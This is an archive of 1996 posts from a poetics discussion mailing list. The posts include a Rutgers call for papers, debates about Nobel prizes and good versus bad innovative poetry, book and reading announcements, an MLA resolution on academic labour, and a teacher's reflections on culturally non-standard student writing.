5 UNION SQUARE WEST, 7TH FLOOR!!!!! READING WITH DAN IS DAVID MILLS!!!!
OH! MY! GOD!!!!!!!

Love,
Jordan

↑ Index

169. Poetics List
Call for Papers (fwd)
Tue 8 Oct 1996

---------- Forwarded message ----------
Date: Tue, 08 Oct 1996 12:07:04 -0400
From: Kathleen Crown <[redacted]>
To: [redacted]
Subject: Call for Papers

Hello All: Here is the updated Call for Papers for POETRY AND THE PUBLIC SPHERE, to be held at Rutgers next April. The deadline has been extended to DECEMBER 1st. Please do not send email proposals; email inquiries may be sent to [redacted]. --Kathy Crown

please post on appropriate lists:

call for papers

The Department of Literatures in English at Rutgers University, New Brunswick announces

Poetry and the Public Sphere: a conference on contemporary poetry, April 24-27, 1997

Scheduled to partcipate: Adrienne Rich, Robert Hass, Sonia Sanchez, Miguel Algarin, Poets from the Nuyorican Poets' Cafe, Charles Bernstein, Tricia Rose, Charles Altieri, Maria Damon, Alicia Ostriker, Cheryl Clarke, Michael McKeon, Elin Diamond, Abena Busia, and many others.

This interdisciplinary conference is open to the public and aims to provide new understandings of poetry's participation in the public sphere. The last two decades have witnessed a resurgence of interest in public poetry--readings, festivals, performances, films, television series, and poetry slams. In examining the way poetry affects and is affected by social context, we will consider a range of contemporary poetries in their public settings, including performance-oriented, community-based, socially engaged, and formally experimental work. Questions of audience and aesthetics will be central to our discussion of poetry's active role in building, defining, questioning, and motivating social and political communities. The conference will feature poetry readings and performances, keynote lectures, and panel presentations by a wide range of poets, scholars, and activists.

We welcome submissions from anyone with an interest in poetry. We are currently accepting:

Detailed two-page proposals for 15-minute papers, not limited to the topics below. (Feel free to suggest panel topics; however, we are not accepting group panel proposals at this time.)

Detailed proposals for roundtable discussions (no more than four people), to consist of five-minute remarks and a moderated discussion. You may provide participant names or make suggestions. Please provide names and brief profiles of chair and 3-4 panelists, plus a two-page proposal describing the topic, approach, and intended contribution of each discussant.

poetry and social movements
poetics of performance poetry
politics of form
poetry and public sphere theory
poetry as witness
poetry and community activism
African American poetry
poetry slams
ethnography and poetry
poetry and popular culture
global poetry
Latino/a poetry
poetry and identity politics
poetry and/as history
Native American poetry
gay/ lesbian poetry
spoken-word events
feminist poetry

poetry and AIDS
rap-meets-poetry
politics of publishing
Asian American poetry
contemporary poetry cultures

Send proposals by December 1 to Harriet Davidson, Associate Professor of English and Director of Women's Studies, P.O. Box 5054, Rutgers University, New Brunswick, NJ 08903-5054. More information will be available soon at our website (address to come); information about a pre-conference discussion forum online will also be available at that address.

--

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170. Charles Smith
Awards
Tue 8 Oct 1996

In a message dated 96-10-08 12:11:38 EDT, you write:

<< mike b rites This is just not the kind of world in which Bob Creeley can ever get the Nobel prize. Maybe we should make up our own prize and award it to him.

now *that* is a truly sensible suggestion. like what the before columbus foundation did with the American Book Award and what Messerli's doing w/ the
Gertrude Stein awards. all we need is a big chubby endowment.
md
>>

or like the National Poetry Award organized by the national Poetry Foundation (& others) in 1985 to recognize Robert Duncan's work.

cs

↑ Index

171. Peter Quartermain
(Sort of) end of silence
Tue 8 Oct 1996

I simply want to thank everyone for all those wonderful and really encouraging get-well messages and sympathy -- it's amazing, such messages really do help. And I am clearly, now, on the road to full recovery -- minor surgery turned into major life-threatening systemic infection, but massive i.v antibiotics for a week

stemmed the tide. So I feel like a rather exhausted but successful Canute, and am slowly catching up on all my delinquencies. And again I send my heartfelt thanks to you all.

Peter

+ +

Peter Quartermain
128 East 23rd Avenue
Vancouver
B.C.
Canada V5V 1X2
Voice and fax: [redacted]

+ +

↑ Index

172. George Bowering
Re: (Sort of) end of silence
Tue 8 Oct 1996

Welcome back, Peter Quartermain!

Now how about making up for your downtime? Tell us the meaning of life.

George Bowering.

,

2499 West 37th Ave.,
Vancouver, B.C.,
Canada V6M 1P4

fax: [redacted]
e-mail: [redacted]

↑ Index

173. Peter Quartermain
Re: Dora Marsden
Tue 8 Oct 1996

Among others, Marsden published Williams, who in The Egoist for August 1917 published "The Great Sex Spiral: A Criticism of Miss Marsden's 'Lingual Psychology.'" This and related matters are thoroughly discussed in Bruce Clarke's really excellent book _Dora_Marsden_and_Early_Modernism_:_Gender, _Individualism_and_Science_. U Of Michigan Press, 1995.

Peter

At 08:42 AM 10/8/96 -0400, you wrote:
>> Can anyone tell me who "Dora Marsden" is? -- reference in Wms' "Spring and
>> All", in the first paragraph of the prose section following "By the road to
>> the contagious hospital..." ?
>>
>> Thanks in advance.
>>
>> bmarsh
>
>Dora Marsden was the editor of the Freewoman which became the New
>Freewoman and then The Egoist around 1914. At that time she asked
>Harriet Weaver to take over editorial responsibilities while Marsden
>pursued her interest as a philosophical writer (while writing for the
>magazine that went on to hire Pound as literary editor and to publish
>work by Joyce, Eliot, HD, Aldington, Fletcher, de Gourmont, etc.).
>Marsden's books include The Definition of the Godhead, The Mystery of
>Time, and The Philosophy of Time.
>
>If you can, you should check out the original issues of the magazines.
>They're fascinating. Pound, Joyce, and HD alongside articles on
>vegetarianism and free love and Marsden's long philosophical essays on
>time and the godhead.
>
>Mike
>[redacted]
>
>
+ + + +

174. Peter Quartermain
Re: (Sort of) end of silence
Tue 8 Oct 1996

Why, thanks, George.
The meaning of Life is the same as the meaning of Time.
Didn't you know?
Peter

At 06:12 PM 10/8/96 -0700, George Bowering wrote:
>Welcome back, Peter Quartermain!
>
>Now how about making up for your downtime? Tell us the meaning of life.
>
>
>
>
>George Bowering.
> ,
>2499 West 37th Ave.,
>Vancouver, B.C.,
>Canada V6M 1P4
>
>fax: [redacted]
>e-mail: [redacted]
>
>
+ + + +

At 07:49 AM 10/8/96 -0500, you wrote:
>In message <[redacted]> UB Poetics discussion
>group writes:
>> Dear Tony--I'd love to see that nonstandard essay.
>>
>> all best, Susan (Schultz)
>
>yeah me too--md
>
>

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176. Herb Levy
Re: Szymborska/Heaney/Nobels
Wed 9 Oct 1996

Rod Smith wrote (regarding the best American Poetry 1996):

> *I'll look at the book a bit more, hopefully it's more interesting than it appears.*

I think Mark Twain said of Wagner "his music sounds better than it is."

Herb Levy
[redacted]

↑ Index

177. Ron Silliman
The meaning of Time/Life
Wed 9 Oct 1996

Peter,

It's good to know that you will be with us for a few more decades. We're counting on it.

I do hope that the meaning of Life (& Time) is not the same as the meaning of Sports Illustrated.

Or even of M/E/A/N/I/N/G

All best,

Ron

Jeff,

In this world there are those of us who think that the experience of reading should be like weightlifting, an exercise that can be felt as such and which leaves us all the stronger for it. And then there are those (in the majority) who think it should be like watching television, transparent and "painless." Frost was for the latter, and that is why he was a "bad person."

Ron Silliman

↑ Index

178. Rachel Loden
Re: Szymborska/Heaney/Nobels
Wed 9 Oct 1996

I think Twain said "Wagner's music is better than it sounds." Which is, perhaps, an even defter put-down.

Rachel Loden

Herb Levy wrote:
>
> Rod Smith wrote (regarding the best American Poetry 1996):
>
> >I'll look at the book a bit more, hopefully it's more interesting than it
> >>appears.
>
> I think Mark Twain said of Wagner "his music sounds better than it is."
>
> Herb Levy
> [redacted]

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179. maria damon
Re: The meaning of Time/Life
Wed 9 Oct 1996

---

ron rites:
> Jeff,
>
> In this world there are those of us who think that the experience of
> reading should be like weightlifting, an exercise that can be felt as
> such and which leaves us all the stronger for it. And then there are
> those (in the majority) who think it should be like watching
> television, transparent and "painless." Frost was for the latter, and
> that is why he was a "bad person."

>
> Ron Silliman

funny, i never thought of weightlifting as an analogue for the reading experience. wonder why not. and then some of us think that the experience of reading should be like having a conversation with a smart and or trusted friend or stranger: challenging, revealing, transformative. or maybe weightlifting w/ the friend as weight. now there's a promising potential for revelation, transformation, challenge.

↑ Index

180. maria damon
Re: Englishes/Latins
Wed 9 Oct 1996

---

1. if permission is asked and granted
2 if the name is not revealed,
i don't know why it wouldn't be.
md

In message <[redacted]> UB Poetics discussion group
writes:
> Is that ethical??
>
> At 07:49 AM 10/8/96 -0500, you wrote:
> >In message <[redacted]> UB Poetics
> > discussion
> >group writes:
> >> Dear Tony--I'd love to see that nonstandard essay.
> >>
> >> all best, Susan (Schultz)
> >
> >yeah me too--md
> >
> >

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181. Steven Clay
The Book, Spiritual Instrument / The Word Made Flesh
Wed 9 Oct 1996

Granary Books announces two new publications:

1)-THE BOOK, SPIRITUAL INSTRUMENT edited by Jerome Rothenberg & David Guss.

The Book, Spiritual Instrument addresses the "ethnopoetics of the book." Originally published as New Wilderness Letter #11 in 1982 and now long out-of-print, this newly designed edition contains all of the original material along with a new preface by Jerome Rothenberg.

Contents include: "Le Livre, Instrument Spirituel" by Stéphane Mallarmé, translated and visually interpreted by Michael Gibbs; "The Book and the Desert/[Wilderness]" an interview with Edmond Jabès, translated by Jack Hirschman; "The Book as an Instrument of Performance" Becky Cohen's fold-out section of photographs of poets reading from their work; Alison Knowles & George Quasha on The Book of Bean; "A Book" by Dick Higgins; selections from the Popul Vuh with translation and commentary by Dennis Tedlock; plus works by Karl Young, David Meltzer, Tina Oldknow, J. Stephen Lansing, Eduardo Calderón, David Guss, Jed Rasula, Paul Eluard, Gershom Scholem and Herbert Blau.

The Book, Spiritual Instrument is a welcome and important contribution to discussions of poetics, book art and performance.

"Prefaced by Mallarmé's famous dictum that 'everything in the world exists in order to end up as a book,' this spirited collection demonstrates the reverse as well: everything in the book exists in order to end up in the world. . . In a series of exemplary essays on, and demonstrations of, what might be called the ethnopoetics of the book, books from a wide range of cultural traditions are portrayed as radical extenders of form rather than neutral vessels of content. The result is a vision of books as laboratories for the invention and performance of perceptual systems: new worlds carved out of the wilderness of human thought and language." -Charles Bernstein, Poet, Editor and David Gray Professor of Poetry and Poetics, SUNY-Buffalo.

Designed by Diane Bertotlo. Paperback, smythe sewn, 160 pages, illustrated throughout with black & white photographs. ISBN 1-887123-08-3 Price: $21.95 plus $6.00 shipping (domestic) / NY residents add appropriate sales tax

2)-THE WORD MADE FLESH by Johanna Drucker

Calling attention to the visual materiality of the text, this book attempts to halt linear reading, trapping the eye in a field of letters which make a complex object on the page. The writing refers continually to the visceral character of language, literalizing metaphors of tongue,breath, and flesh. The work both embodies and discusses language as a physical form, one whose properties cannot be ignored by arriving at a disembodied content.

"Unlike the avant-garde artist's book of the early century, Drucker's doesn't boast a single illustration, a single pictorial equivalent to the text. Rather, it is the alphabet itself that is made flesh, the letter being seen in all its visual potential, as if to say that, desensitized as we are by the endless billboard discourse around us, we have almost forgotten the astonishing power of the alphabet to create human meanings." -Marjorie Perloff, Radical Artifice

Printed offset in two colors, this is a facsimile of the original letterpress edition (now long out-of-print) 12 1/2" wide, 10 1/2" high. 30 pp. Handbound in boards and with a two-color letterpress dust jacket printed by the artist. ISBN 1-887123-09-1 $60 + $8 shipping (domestic)+ applicable tax for those in the state of NY.

TO ORDER contact Steve Clay at Granary Books
via Email: [redacted]

a selection of other unusual books published by Granary may be seen at:
www.granarybooks.com

Granary Books
568 Broadway #403
New York, NY 10012
[redacted]

↑ Index

182. Susan Schultz
Re: Englishes/Latins
Wed 9 Oct 1996

Tony--you ought to ask the student first...yes.

↑ Index

183. Bill Luoma
noble
Wed 9 Oct 1996

Dodie wrote:

"As far as political poetry goes, San Francisco is reeking with bad political poetry. Nobody's giving any of it a Nobel Prize."

someone should give Jack Hirschman the noble just for those letters to Djuna Barnes in the new miragie. thanks. and how is wayne smith doing?

Bill

↑ Index

184. Gabrielle Welford
Re: (Sort of) end of silence
Wed 9 Oct 1996

On Tue, 8 Oct 1996, Peter Quartermain wrote:

> *Why, thanks, George.*
> *The meaning of Life is the same as the meaning of Time.*
> *Didn't you know?*
> *Peter*

Why, darn! I thought it was 42! gab

↑ Index

185. Gabrielle Welford
"Death in a Landslide" in New York this week (fwd)
Wed 9 Oct 1996

Anyone in the city seen this? gab.

---------- Forwarded message ---------- I thought I would pass on this message from Jay Martel, one of the writers of TV Nation and most recently, the writer of the play "Death in a Landslide" which is in New York this week.

Dear Friends,

I need your help in getting the word out as soon as possible about "Death in a Landslide," a new comedy. The show opened last weekend to fantastic response but the odds are that the play has two more weeks of life and then goes away forever. Given these dire circumstances, I want the largest number of people to see it as possible. Even if you're not in the New York area or are unable to make the show OR have already seen it, I would greatly appreciate your help in forwarding the following couple paragraphs to five e-mail buddies who might be able to come:

"Death in a Landlside" is a play about what happens when Death comes for Cuff Riley, the slickest political operator in Washington. In a bargain that's part "Faust," part "Frankenstein," Death spares Cuff in exchange for Death getting a shot at the presidency. In other words, Cuff Riley goes where Lee Atwater would have--if he could have. By far the strangest independent presidential candidate since Ross Perot, Death hits the campaign trail with a pro-gun, pro-capital punishment, pro-death-pro-life platform that charms conservatives, splinters liberals, and gives a whole new meaning to the concept of "scare tactics." Using campaign slogans like "Death: For a Change" and "Give us Liberty AND give us Death, " Cuff Riley uses every trick in his bag to elect a Force of Nature president and, of course, gets more than he bargained for.

The show stars Chuck Montgomery (Hal Hartley's "Amateur") and Joseph McKenna (Terry Gilliam's "Twelve Monkeys"), was directed by Kirk Jackson (Cucaracha's "Viva Las Vegas"), written by Jay Martel, and co-produced by Michael Moore and Kathleen Glynn ("T.V. Nation," "Roger and Me").

"Death in a Landslide" runs for only two more weeks, beginning at 8:00 p.m., Wednesday through Sunday, from now until October 20th at the Grove Street Playhouse (39 Grove Street in the Village, west of Bleecker and Seventh Ave.). Tickets are $12. For more information and reservations call [redacted].

Thanks, Jay

↑ Index

186. **william marsh**
Re: what's a good poem
Wed 9 Oct 1996

> *I propose a new prize. The POETICS LIST MENTAL CALISTHENICS POET OF THE YEAR.*

i.e., COOL-AESTHETICS POET OF THE YEAR?

↑ Index

187. **Herb Levy**
Re: nobels, the Good, here we go...
Wed 9 Oct 1996

Joe Amato wrote:

> *(1) re the nobels: any way we might speculate as to how the literature awards do/do not align with more empirical fields?... sure, we all know that lit. tends to be, on the surface of it, a more subjective category... or does it?... i mean, is there a common denominator at work in the nobels, one that presumably seeks out, say, the Good... regardless how political all the awards may be de facto, what i'm asking about here is whether and how a meta-category (say, the Good) is distributed across the award spectrum...*

Taking your lead to look beyond the Nobel Prize for Literature, let's look at prizes within the arts in general, rather than to the Nobels in general. (I don't see The Good in revisiting territory previously covered in the lengthy discussions of the Sokol essay in Social Text, but maybe that's just me.)

Looking at any award system, I think you'll find the common denominator is not The Good, but rather The Opinion, a very different philosophical category. Especially when The Opinion comes from a committee. In this case, The Opinion of

what's good usually has to do with the social dynamics of who's on the panel, who selected them, etc.

There are very few selection committees for prizes, grants, fellowships, etc. with a mandate to value innovation in the arts across the board. Cf. Appendix 7 of Jed Rasula's American Wax Museum for some poetically relevant details. It's not much better in other genres, in some it may be worse.

Bests

Herb

Herb Levy

[redacted]

↑ Index

188. **Herb Levy**
Re: nobels, the Good, here we go...
Wed 9 Oct 1996

Abstracting the argument away from good and bad innovative poems to Good and Bad innovative poems doesn't address the same problem. Especially in the context of an article on expedience, rhetoric, accountability, & complicity with the Holocaust and concept-matrices like "ethics-morals-politics".

I think many (though not all) on the list would agree that there can be bad innovative poems that are not Evil. However, I expect few list members will be willing to go on record with their specific choices for this category. & that's the real problem with looking for a definition of a "bad innovative poem" on this list. Most people who have the chops to make the distinctions feel uncomfortable doing so in such a public forum. The field is too small for that kind of public infighting. & this list is even smaller, though more public.

Perhaps when a "mainstream" writer or critic says something like "but you experimental writers just support each others work, making little critical distinction among writers at the same career levels" or some such, the best response is to say "yes, it looks VERY familiar, doesn't it?"

Bests

Herb

Joe Amato wrote:

> *(2) this relates to jordan's question to me (loaded as hell!---but thanx jord, we need to be provoked so) about what makes for a bad langpoem (and will *somebody* please forgive me this shorthand)... i teach tech. writing, and as i just posted a list member backchannel, i tend to focus these days in my classes, as a sort of historical backdrop, on the distinction between*

> *good tech. writing that's designed (literally) for beneficial ends and good tech. writing that's not... that is, the latter writing might be proficient, expeditious, and so forth, but may be used in the service of BAD ethics, morals, politics... so mebbe, in fact, it's BAD (and there are surely places and people who would say so---which raises the issue of good and bad as these relate to culture and community)... in particular, my classes examine the national socialist rhetoric of wwii (we build on a remarkable essay that appeared some time ago in _college english_ (march 1992), steven katz's "the ethics of expediency: classical rhetoric, technology, and the holocaust")... in short: if i can take my tech. writers, and tech. writing in general, to task for not owning up to its complicity in a rhetorical bracketing of ethics-morals-politics (have a look at the stc ethical code) while promoting some technical-technologized "good," why then i suppose, i should hold poetry so accountable... and certainly with an understanding that poetry (whatever it is) doesn't work the same way, hence that poetic 'accountability' is not going to work the same way... and with the recognition that some poetries seem to be more easily held accountable (why is this?), which is not to say that they're less demanding necessarily...*
>
> *i'm posing questions here for which i have no easy answers... but of course the question of the good is not simply formal---and in any case, formal issues, as many would argue, do in fact lend themselves to matters of social un/desirability, esp. when viewed against various norms...*
>
> *joe*

Herb Levy

[redacted]

↑ Index

189. Jordan Davis
chops and steaks (the atmosphere of jokes)
Wed 9 Oct 1996

> *I think many (though not all) on the list would agree that there can be bad innovative poems that are not Evil. However, I expect few list members will be willing to go on record with their specific choices for this category. & that's the real problem with looking for a definition of a "bad innovative poem" on this list. Most people who have the chops to make the distinctions feel uncomfortable doing so in such a public forum. The field is too small for that kind of public in-fighting. & this list is even smaller, though more public.*

Herb -- interesting that THIS paragraph would appear shortly after a cogent paragraph by you about Good v. Opinion, a case long since settled out of Court.

Re: having those chops and not using them -- very wondrous. I've heard of people who know medicine but don't like to practice -- _pro bono_ --

poetry reform,
Jordan

↑ Index

190. **Jerry Rothenberg**
(no subject)
Wed 9 Oct 1996

For any of you in the San Diego area, the following is a calendar of readings for this fall s New Writing Series. All readings, it should be noted, are free and open to the public, and (except for that on October 24th) all will take place at 4:30 p.m. in the Visual Arts Facility Performance Space. NEW WRITING SERIES SCHEDULE / FALL QUARTER 1996

DAVID MELTZER + Wednesday October 16
4:30 p.m. at Visual Arts Facility Performance Space

JAYNE CORTEZ + Wednesday October 23
4:30 p.m. at Visual Arts Facility Performance Space
YEHUDA AMICHAI + Thursday October 24
7:00 p.m. at The Cross Cultural Center (Lyman and Artists Lane)
BOB PERELMAN + Friday November 1
4:30 p.m. at Visual Arts Facility Performance Space

WILL ALEXANDER + Wednesday November 6
4:30 p.m. at Visual Arts Facility Performance Space

SUSAN HOWE + Wednesday November 13
4:30 p.m. at Visual Arts Facility Performance Space

MYUNG MI KIM + Wednesday November 20
4:30 p.m. at Visual Arts Facility Performance Space

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191. **MICKIE E. KENNEDY**
Re: nobels, the Good, here we go...
Wed 9 Oct 1996

I would like to go record as saying most poems are both bad and Evil, with the caveat that the remainders are unlikely to be both good and Good--just at a lower cost and found in a bin at your local bookstore.

↑ Index

192. Carnography
That's Blaxdhhhhhhxqtploitation!
Wed 9 Oct 1996

Re the erudite eds at American Book Review:

I don't know what's happening to the OCR software in Normal, Illinois, but my short-short review of Darius James's _That's Blaxploitation!_ got obscured by a stonehenge of em-dashes, double parentheses, bulgingly balanced sentences and improvisatory spellings. Though ABR's proofreaders are usually fastidious, I somehow got translated into what can only be described as Prig Latin: I read like some harumphing disembrained polyglot in a tome by Oliver Sachs! Indeterminists, take note: a good time can be read by (A=E5hhhll<)>. To all others, I say: Buy Darius James's book and the rest will make sense.

BTW: In the same issue of ABR, there is another review that I must recommend: "Legend and Language," Marjorie Perloff's illuminating look at the neglected (but resurrected) Mina Loy. And guest-editor Larry McCaffery is his usual selfless self, breathlessly promoting neglected writers like an Ezra Pound on meth. (McCaffery's an angel; I just wish there were more like him.)

Anyhow, back to work on an album with the Scottish band, Truth. I just laid out my own book, _Distorture_, for Black Ice Books, due in March, 1997: a labor for the anal, it's true, but I'm thrilled that the publishers gave me that kind of artistic control. Respect for authorial aesthetics? Nothing normal about that.

All the best,

Rob Hardin

http://www.interport.net/~scrypt

↑ Index

193. Joe Amato
Re: nobels, the Good, here we go...
Wed 9 Oct 1996

herb, all points well-taken... still, i'll press a bit and say that i think the question of good/Good bad/Bad is worth continued navigation in these parts (and i know neither of us means The Good), albeit i admit to being somewhat at a loss as to how to proceed... and in part for the reasons you mention about the nature of this public forum...

really, i hate to keep coming back to this issue, but if in fact it's the forum itself that's preventing such dialogue, why then there's the need to reflect on same... what is it about that complex [wink] of ethico-moral-political that's untouchable around here?...

i might make the argument (as i have on occasion) that certain attitudes about poetry or poetics are irresponsible when it comes to their institutional embodiment... now as a teacher, the institutional is relatively easy for me to access (in such terms, i mean)... but even poets and writers with no professional obligations or commitments to teaching must readily acknowledge that what they advocate as poets and writers have institutional effects that are more and less desirable... i regret, for example, those three nobel laureate poets (i think it was walcott, paz, and milosz) who together proclaimed their opposition to electronic media, an attitude that i find not only lamentable and compromising to more innovative work, but in fact aiding and abetting print hegemonies from which all three of these gents' work *might* be said to profit directly...

of course emedia is my hobbyhorse... and of course this question of the Good i raise is specifically one having to do with inter-poetic, if not inter-media, struggle (sorta)... but if you find yourself linking your effort as a poet or scholar or teacher with broader social concerns, why then the Good will of necessity be ramified across many other domains...

anyway, i'd like to hear more...

best,

joe

↑ Index

194. **DS**

Re: Englishes/Latins

Wed 9 Oct 1996

That was what i meant when i asked if it was ethical, thanks Tony.

> *I think it would be difficult or obnoxious to expose the writer herself to view, as an object of linguistic curiosity. The questions raised by non-standard writings in supposedly standardised and standardising environments is the issue that I'm concerned with and my reason for citing the essay in the first place.*
>
> *best*
>
> *Tony Green,*
> *e-mail:* [redacted]

↑ Index

195. Michael Boughn
Re: Englishes/Latins
Wed 9 Oct 1996

> *The questions raised by non-standard writings in supposedly standardised and standardising environments is the issue that I'm concerned with and my reason for citing the essay in the first place.*
>
> *best*
>
> *Tony Green,*
> *e-mail:* [redacted]

Tony

Do you feel like elaborating what those questions are for you in relation to this particular essay? I'd be interested to hear.

Mike
[redacted]

↑ Index

196. Tony Green
Re: Englishes/Latins
Wed 9 Oct 1996

Sorry, I don't have the essay and I don't have a note of the name of the writer, and I would be extremely reluctant to post it anyway, as initially a private communication and in confidence.

If the student had been someone
on this list and willing or able to discuss the essay herself in her
own terms, ,on equal terms, maybe then.

I think it would be difficult or obnoxious to expose the writer herself to view, as an object of linguistic curiosity. The questions raised by non-standard writings in supposedly standardised and standardising environments is the issue that I'm concerned with and my reason for citing the essay in the first place.

best

Tony Green,
e-mail: [redacted]

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197. **Matt Kirschenbaum**

FYI: MLA Resolution (fwd)

Wed 9 Oct 1996

From root Wed Oct 9 16:44:12 1996
Message-Id: <[redacted]>
Date: Wed, 09 Oct 1996 16:37:22 -0400 (EDT)
Reply-To: [redacted]
Sender: [redacted]
Precedence: bulk
From: [redacted]
To: Graduate Student Caucus of the MLA <[redacted]>
Subject: MLA Resolution (fwd)
MIME-version: 1.0
Content-type: TEXT/PLAIN; charset=US-ASCII
Content-transfer-encoding: 7BIT
X-Sender: [redacted]
X-Listprocessor-Version: 7.2 -- ListProcessor by CREN

Dear e-gradders: The attached is a resolution regarding the exploitation of graduate students and other academic workers drafted by the MLA's Radical Caucus.

It is _not_ one of the resolutions drafted by the Graduate Student Caucus, although the concerns expressed overlap in many areas.

If you wish to indicate your support for the Radical Caucus resolution, you may do so by following the instructions contained in the post below.

Best, Marc

---------- Forwarded message ----------
Date: Wed, 09 Oct 1996 11:59:42 -0700
From: Leo Parascondola <[redacted]>
To: [redacted]
Subject: MLA Resolution

Marc -- I have included a separate posting of the Radical Caucus MLA Resolution. Are you in a position for forward this to E-GRAD or ANY OTHER discussion list that seems relevant? If so, would really appreciate it. I have taken the liberty of identifying you as contact person for Grad Student Caucus to Working Class Studies discussion group of CCCC. There are many grad students who are probably crossovers who will be interested in our issues inside MLA. Resolution follows.

Best, Leo

****

Resolution to 1996 MLA Delegate Assembly on Exploitation of Part-Time, Adjunct, Graduate Assistant, and other Campus Labor

(sponsored by members of the Steering Committee of the Radical Caucus of the MLA)

CURRENT MLA MEMBERS ONLY will want to print, sign, and fax the resolution below; others will want to take note. Deadline for submission to MLA office is Oct. 15, 1996. SIGNED COPIES SHOULD BE FAXED IMMEDIATELY to either:

[redacted] *or* [redacted]

Please phone the MLA, [redacted]*, to verify that the fax has indeed been received. Please fax your signed copies in immediately! The absolute deadline is Oct.15 (one week from now).*

Please do not email your hyperspace "signatures" to the MLA. They WILL NOT ACCEPT any such signatures. Resolution begins below.

WHEREAS global movements of capital, coupled with rampant corporate greed and shrinking tax expenditures on the public good, have resulted in unprecedented levels of unemployment and underemployment among all sectors of the world's workforce, an increasing polarization of skilled and unskilled workers, and corporate downsizing; and

WHEREAS the consequences of this trend has been, from the point of view of capital, a decreased need for college- and university-trained workers in general and, in particular, a decreased need for the graduates of nonelite and public colleges and universities; and

WHEREAS the impact of this trend in U. S. higher education has been budget cuts, elimination of jobs and in some cases of entire departments, speed-up, increasing use of part-time and adjunct faculty, greater exploitation of graduate student labor, and erosion of tenure; and

WHEREAS this trend reflects the increasing polarization of the "haves" and the "have-nots" and reveals the inherent antagonism between the interests of capital and the educational needs of the great majority of the working class (which includes most of the so-called "middle class"); and

WHEREAS those who work and teach on campuses should not gain any

improvement in their working conditions off the backs of graduate and

undergraduate students in the form of tuition and fee hikes, which have been astronomical over the past two decades; and

WHEREAS there is an urgent necessity for an activist movement on

campuses that unites tenured and untenured professors, adjunct and part-time faculty, graduate students, undergraduate students, and other campus workers;

BE IT THEREFORE RESOLVED that the MLA advocate that all college and university-level teaching positions other than those of graduate students be full-time, with full benefits, at a living wage, and carrying reasonable expectations of job security, while graduate students and teaching assistants should receive a living wage and full

benefits; and

BE IT FURTHER RESOLVED that the MLA support unionization efforts

among campus workers at all levels; oppose reprisals on those who engage in unionization activity; and oppose any and all attacks on the

tenure system; and

BE IT FURTHER RESOLVED that the MLA censure institutions not complying with these principles and take appropriate punitive measures, such as banning job advertisements in the MLA JOB LIST and

suspending institutional membership in the ADE and/or ADFL.

NAME SIGNATURE INST. AFFILIATION

Please: FAX your signature immediately to one of these two MLA fax numbers:

[redacted], *or* [redacted].

Please either FAX or mail a copy to:

Grover Furr
Department of English
Montclair State University
Upper Montclair NJ 07043

> *FAX:* [redacted]
>
> *Please circulate widely and continuously. The deadline for the first 10 signatures is October 15. Obviously we would like to get as many signatures as possible, right up to the MLA Convention itself.*

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198. **Tony Green**
Re: Englishes/Latins
Wed 9 Oct 1996

Yes, Michael Boughn, I cd elaborate a little.
But I am in a state of some confusion over what is happening.

I've just come from a
small group tutorial "on" Watteau. The little group of three older women arrive together (Anglo-Scottish, Irish) one young Chinese woman, who cannot be persuaded to say anything, one exceedingly shy young man and one tall blond young woman, Anglo-Scottish, whatever, and for the first time this whole semester which is now finishing, four young women, Polynesian and quite various in appearance.

The assumptions of a teacher of European art history as to the audience's assumptions and what it takes for granted culturally are no longer operative in this situation. Chinoiserie is something to pause over --, so is the appearance of persons of colour in paintings by Watteau or Rubens, though that has not been an issue yet -- but the styles of dress and makeup of Watteau's imaginary figures of courting couples is emphatic about the whiteness of the skin of the young women's bosoms.

How does that sound and look to the Polynesian women?

As for their writing, what is expected of them? What do they expect of themselves? I am looking for possibilities of encouraging them to ask their own questions about the artworks they are looking at and in the language they have available to them. Is this naive of me, is this altogether going in the wrong direction? Should I be encouraging them to appear the same as all the other students, as if cultural difference did not enter into the equation? Consequently "grading papers" becomes a more complicated task than usual, when it is clear that cultural differences are making themselves felt in the language.

I have met this before with one or two students in a class, but now about a third of my second year class is not European in its cultural expectations and I feel the need to adjust what I do, but I am unsure how to do it.

I have a strong suspicion that it requires the university as a whole, or at least the humanities teachers to take action as a group, and that anything I do to encourage non-standard writing may get the students concerned into deep trouble with other teachers.

best

4
is ss, hPakehachinese

Tony Green,
e-mail: [redacted]

↑ Index

199. **Tony Green**
Re: Creeley Festival
Wed 9 Oct 1996

Thanks for the invitation to Creeley Fest -- and for one received in the mail yesterday, Charles,-- Judi Stout and Tony Green will be there in thought or in a manner of speaking. All the best to Buffalos and to Bob -- and to Pen..

Tony Green,
e-mail: [redacted]

↑ Index

200. **Nada Gordon**
weightlifting
Wed 9 Oct 1996

Ron (and all):

Reading should be like weightlifting because it makes you a stronger person??!??!

So a complex text = Popeye's spinach, lo how the muscle bulges. Ketjak as Charles Atlas course.

Ugh.

I wouldn't say I'm one of that select group of people who believes so, no. But I recently read a book about the emotional lives of animals and learned the word "funktionslust" -- the enjoyment of one's capabilities, i.e. the pleasure a cat takes in climbing trees or a monkey in swinging from branch to branch. Maybe I like to read tough things because I can, and that pleasure is its own reward, not the great macho overweaning ectomorphic forehead brain muscle that will

develop because I made the exertion. And if it does, I'll just have to wear a scarf or something.

Although I do like spinach, I don't eat it primarily because it's good for me.

And speaking of lust -- I know the battery fell out of the dildo thread long ago, but I found this bit in Philip Whalen's On Bear's Head last night. NB this is not a hoax, look it up for yourselves, p. 376:

> *"IN MY LIVINGROOM!*
> *Sitting there imagining "Divine Bodies" in My Livingroom!*
> *Maybe you think I didn't tell him! Without a stitch on, & that*
> *Electric Vibrator of mine that the DOCTOR told me to use for my*
> *Neck and Shoulder! Maybe you think I wasn't nearly floored! I*
> *want to tell you . . ."*

nada

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201. Robert Drake
afterwords website [forward]
Wed 9 Oct 1996

========== Begin forwarded message ==========

Announcing the all new...

afterwords literature website

http://www.io.org/~dalopes/after/

Now more powerful, faster and easier to use.

Search the entire small press catalogue to find what you're looking for or to generate a custom list of items. The search tool will return matches to any part of the listing, including author, title, publisher, type, and description. So you can generate your own list for bill bissett, Ganglia Press, sound poetry... anything you like.

The previous lists (work by and related to Daniel f Bradley, Greg Evason, jwcurry, damian lopes, bpNichol and David UU) have been condensed into a form that is faster to browse. All the details remain quickly assessible, but you'll spend your time browsing rather than waiting for documents to load. A frame-ready browser, like Netscape 2 or higher, is recommended.

afterwords literature is a retailer of small press literature.

Box 657 Station P Toronto Canada M5S 2Y4
http://www.io.org/~dalopes/

========== End forwarded message ==========

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202. Mark Roberts

AWOL: New magazine releases (forwarded)

Thu 10 Oct 1996

>Date: Thu, 10 Oct 1996 12:41:31 +1000
>To: [redacted]
>From: [redacted] (awol)
